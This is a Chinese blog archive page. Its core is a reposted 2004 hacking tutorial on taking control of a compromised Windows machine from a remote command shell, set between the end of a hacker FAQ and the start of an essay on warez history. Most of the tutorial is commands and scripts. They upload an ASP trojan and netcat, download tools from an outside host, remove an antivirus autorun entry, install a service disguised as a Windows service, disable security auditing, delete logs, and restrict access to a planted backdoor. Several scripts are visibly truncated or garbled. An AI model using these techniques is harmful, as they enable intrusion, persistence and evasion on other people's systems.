但 HTML 不完全是一种编程语言。当你准备开始编程时,我推荐从 Python起步。你会听到一大群人推荐 Perl,并且 Perl 依然比 Python 流行得多,但是难学得多且(以我之见)设计得不是很好。

C 确实重要,但它要比 Python 或 Perl 难多了。不要尝试先学 C。

Windows用户不要满足于 Visual Basic。它会教给你坏习惯,而且它不可以移植,只能在Windows下运行。避免它。

问:我需要什么样的机器配置?

答:过去个人电脑能力相当不够并且内存小,结果给黑客的学习过程设置了人为的障碍。不过一段时间以前开始就不是这样了;任何配置比一台 Intel 486DX50 好的机器都有足够的能力进行开发工作,X,及 Internet 通讯,同时你现在买的最小的磁盘都大得富足了。(依Barret之见,现在要至少Pentium 166MMX才够。)

选择用来学习的机器时重要的一点是注意配件是否是Linux兼容的(或BSD兼容,如果你选择学 BSD)。同刚才提到的一样,大多数现在的机器都是符合的;唯一的值得注意的区域在于 modem和打印机;有些具备为Windows设计的配件的机器不会在Linux下工作。

关于硬件兼容性有一个FAQ;最新版本在 这里

问:我得因此憎恨和反对Microsoft吗?

答:不,你不必如此。不是因为Microsoft不令人讨厌,而是因为黑客文化早在 Microsoft出现之前就存在了,且将在Microsoft成为历史后依然存在。你耗费在憎恨Microsoft的任何力气不如花在爱你的技术上。写好的代码—— 那会相当有效地打击Microsoft又不会让你得到恶报应。

问:但开放源代码软件不会使程序员丢饭碗吗?

答:看起来不太可能——目前为止,开放源代码软件产业似乎创造了更多的就业机会而不是减少就业机会。如果写一个程序比起不写来是纯经济收益的话,那么在写完后,程序员应该得到报酬不管程序是否是开放源代码。并且,无论写出多么“免费自由”的软件,都存在更多对新的,定制的软件的需求。我有这方面更多的论述,放在开放源代码 网站资料中。

问:我要如何开始?哪里有免费的Unix?

答:在本份文档的某个地方我已经提到过何处可以得到最常用的免费Unix。要做一名黑客,你需要自立自强,以及自学能力。现在开始吧……

15
Jun

Do All in Cmd Shell

   Posted by: 不存在

Do All in Cmd Shell

创建时间:2004-05-19
文章属性:转载
文章提交:sFqRy (mqphk163_at_163.com)

目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言

前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^ >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count>dl.vbs
@echo w.open “get”,.arguments(0),0:w.send:if w.status^>200 then .echo “Error:”+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

举例——下载ps.exe并保存到c:\path下:

cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe

注意,这是在远程shell中执行的。

4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!

echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)

无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,”\”))
with createobject(“adodb.stream”)
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject(“scripting.filesystemobject”).opentextfile(fp&”.bat”,2,true)
.write “@echo str=”"”
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs”+vbcrlf+”@echo +”"”
next
.writeline “”">>debug.vbs”+vbcrlf+”@echo with wscript.stdout:r=vbcrlf”_
+”:for i=1 to len(str) step 48:.write “”e”"+hex(256+(i-1)/2)”_
+”:for j=i to i+46 step 2:.write “” “”+mid(str,j,2):next:.write r:next>>debug.vbs”
.writeline “@echo .write “”rbx”"+r+”"”+hex(slh)+”"”+r+”"rcx”"+r+”"”+hex(sll)_
+”"”+r+”"n debug.tmp”"+r+”"w”"+r+”"q”"+r:end with”_
+”>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp “”"&fn&”"”&del debug.vbs”
end with

将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:

cscript echo.vbs nc.exe

也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:

@echo str=”4D5A90000300000004000000FFFF0000B80000000000
0000400000000000000000000000000000000000000000000
000000000000000000000000000800000000E1FBA0E00B409
CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A
2400000000000000″_>>debug.vbs
@echo +”504500004C010400B98EAE340000000000000000E0000F0
10B010500009800000062000000000000004C000000100000
00B0000000004000001000000002000004000000000000000
4000000000000000030010000040000000000000300000000
0010000010000000001000001000000000000010000000000
0000000000000″_>>debug.vbs
@echo +”002001003C0000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000A02101006401000000
00000000000000000000000000000000000000000000002E7
4657874000000″_>>debug.vbs
@echo +”70970000001000000098000000040000000000000000000
000000000200000602E726461746100001704000000B00000
00060000009C0000000000000000000000000000400000402
E646174610000004452000000C00000003E000000A2000000
0000000000000000000000400000C02E696461746100005C0
7000000200100″_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +”">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write “e”+hex(256+(i-1)/2):for j=i to i+46 step 2:.write ” “+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write “rbx”+r+”0″+r+”rcx”+r+”E800″+r+”n debug.tmp”+r+”w”+r+”q”+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp “NC.EXE”&del debug.vbs

全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。

几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改”i mod 128=0″语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。

能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。

系统配置
这节包括三方面内容:注册表、服务和组策略。

先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。好在系统自带的regedit.exe足够用了。

1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:

C:\>regedit /e 1.reg “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp”

C:\>type 1.reg | find “PortNumber”
“PortNumber”=dword:00000d3d

C:\>del 1.reg

所以终端服务的端口是3389(十六进制d3d)

2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:

echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo “TelnetPort”=dword:00000913 >>1.reg
echo “NTLM”=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg

将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。

要删除一个项,在名字前面加减号,比如:

[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]

要删除一个值,在等号后面用减号,比如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
“KAVRun”=-

3,用inf文件访问注册表
上面对注册表的三个x作,也可以用下面这个inf文件来实现:

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0×00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0×00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun

将它写入c:\path\reg.inf然后用下面这个命令“安装”:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf

几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0×00010001表示REG_DWORD数据类型,0×00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0×00020000表示REG_EXPAND_SZ。2323也可以用0×913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。

接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,这里我们请inf文件出马。

增加一个服务:

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0×10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe

保存为inetsvr.inf,然后:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf

这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。

几点说明:
1,最后四项分别是
服务类型:0×10为独立进程服务,0×20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。

这四项是必须要有的。

2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。

删除一个服务:

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
DelService=inetsvr

很简单,不是吗?

当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
“ImagePath”=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。而使用inf文件就完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。

另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。

先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中
secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。

与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:

假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:

[version]
signature=”$CHICAGO$”
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1

保存为gp.inf,然后导入:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。
/quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:

secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*

另外,在导入模板前,还可以先分析语法是否正确:

secedit /validate gp.inf

那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。

再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。
echo版:

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*

也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。

比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:

echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo “forceguest”=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg

而相应的用inf,应该是:

echo [version] >1.inf
echo signature=”$CHICAGO$” >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*

关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:

secedit /export /cfg gp.inf /log 1.log

没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。

不过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义了才会在inf文件中出现NewAdministratorName=”***”。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。
但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。

网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping, tracert, ipconfig, telnet, ftp, tftp, netstat,还有不太熟悉的nbtstat, pathping, nslookup, finger, route, netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。

netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。

netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。

1,TCP/IP配置

echo interface ip >s
echo show config >>s
netsh -f s
del s

由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。这个命令和ipconfig /all差不多。

注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后net start remoteaccess

2,ARP

echo interface ip >s
echo show ipnet >>s
netsh -f s
del s

这个比arp -a命令多一点信息。

3,TCP/UDP连接

echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s

这组命令和netstat -an一样。

4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。

echo interface ip >s
echo show interface >>s
netsh -f s
del s

netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。

IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。

XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的 SUPPORT\TOOLS\SUPPORT.CAB 中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。

IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中
(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。

关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:

1,防御rpc-dcom攻击

ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x

这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“阻塞”。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。

2,防止被ping

ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x

如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。

3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。
为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x

这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:

ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x

这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。

在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:

c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。

c:\>time /t
12:34

c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1

然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。如果测试结果不理想,就删除该策略。

c:\>ipsecpol -p myfw -o -w reg

注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。

如果测试通过,那么就启用它。

c:\>ipsecpol -p myfw -x -w reg

最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。)

netdiag需要RemoteRegistry服务的支持。所以先启动该服务:

net start remoteregistry

不启动RemoteRegistry就会得到一个错误:

[FATAL] Failed to get system information of this machine.

netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。

查看ipsec策略的命令是:
netdiag /debug /test:ipsec

然后是一长串输出信息。IPSec策略位于最后。

软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)

WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。

以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。

作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。

作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。

[Version]
Signature=”$WINDOWS NT$”
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0×1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys

将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0

然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。

注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。

所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。幸好,Windows补丁包支持命令行安装。
比如:

KB824146.exe -n -z -q

-n 不保留备份
-z 不重起
-q 安静模式

如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。

for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0

Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。

1,显示系统版本

@echo for each ps in getobject _ >ps.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_operatingsystem”).instances_ >>ps.vbs
@echo wscript.echo ps.caption^&” “^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

2,列举进程

@echo for each ps in getobject _ >ps.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs

3,终止进程

@echo for each ps in getobject _ >pk.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs

要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123

如果显示一个0,表示终止成功。

然后:
del pk.vbs

4,重启系统

@echo for each os in getobject _ >rb.vbs
@echo (“winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem”).instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs

5,列举自启动的服务

@echo for each sc in getobject(“winmgmts:\\.\root\cimv2:win32_service”).instances_ >sc.vbs
@echo if sc.startmode=”Auto” then wscript.echo sc.name^&” – “^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

6,列举正在运行的服务

@echo for each sc in getobject(“winmgmts:\\.\root\cimv2:win32_service”).instances_ >sc.vbs
@echo if sc.state=”Running” then wscript.echo sc.name^&” – “^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs

7,显示系统最后一次启动的时间

@echo for each os in getobject _ >bt.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_operatingsystem”).instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs

显示结果的格式是:
yyyymmddHHMMSS******ZZZZ
_年_月日时分秒_微秒_时区

8,显示系统运行时间

@echo for each os in getobject _ >rt.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system”).instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint&reg;^&”d “^&t\3600^&”h “^&t\60 mod 60^&”m “^&t mod 60^&”s”:next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs

这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。

附言
cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。

也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享。

最后,感谢你耐心看完本文。本人水平有限,错误之处恳请指正。

24
May

WAREZ无形帝国

   Posted by: 不存在








WAREZ无形帝国


赢政2001/05/02摘自熏衣草

不存在2004/05/24摘自赢政




这会儿夜深了,他们昏昏睡去。随便哪栋建筑的某一个黑洞洞的窗口,你冷眼望去,没准就能看到一台白色的电脑,静静地卧在主人的书桌上。如果那主人睡得足够深,你就打开他的抽屉,现在你看到了什么?哦,我不是指他的私人日记,
也没让你翻他的相册 和笔盒。结果呢,你没看到几张盗版软件么?
谁敢说自己的个人电脑里没有一个软件是非法的呢?是一个庞大的无形的盗版帝国支撑着我们走进了IT时代。这么说似乎并不夸张。那么,你想了解它们的始作俑者的身份和来历么?你想了解它们的组织结构和体系么?你想了解真相么?是
一个偶然的机会,我们了解到这一切,并希望把它们公之于众。现在,我们就这么做了。

最早的软件盗版组织在70年代末80年代初就已经出现了,这是在国外诞生的一种奇怪的自发性民间组织。它的成员是一些青少年电脑爱好者。他们是运用自己的技术破解各类机种中运行的软件(包括个人电脑和电视游戏机),以非法方式传
播,但不以赢利为目的纯技术团伙。在早期没有互联网的情况下,他们用电话线传输游戏以及一些自制运行的展示程序(DEMO),并展开不定期的技术交流,同一地区组织间还经常性地交换成员。这些组织遍布在南北美洲、欧洲和南非等地。
